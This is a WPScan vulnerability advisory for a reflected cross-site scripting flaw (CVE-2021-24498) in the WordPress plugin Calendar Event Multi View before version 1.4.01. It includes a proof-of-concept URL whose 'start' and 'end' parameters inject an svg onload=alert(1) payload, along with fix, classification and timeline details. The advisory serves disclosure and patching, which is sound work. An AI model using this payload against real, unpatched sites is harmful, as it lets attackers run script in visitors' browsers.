WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

Proof of Concept

https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 

Affects Plugins

cp-multi-view-calendar
Fixed in version 1.4.01

References

CVE
CVE-2021-24498
URL
https://plugins.trac.wordpress.org/changeset/2557721/cp-multi-view-calendar

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

iohex

Submitter

iohex

Submitter twitter
iohehe
Verified

Yes

WPVDB ID
3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86

Timeline

Publicly Published

2021-07-05 (about 1 years ago)

Added

2021-07-05 (about 1 years ago)

Last Updated

2021-08-10 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us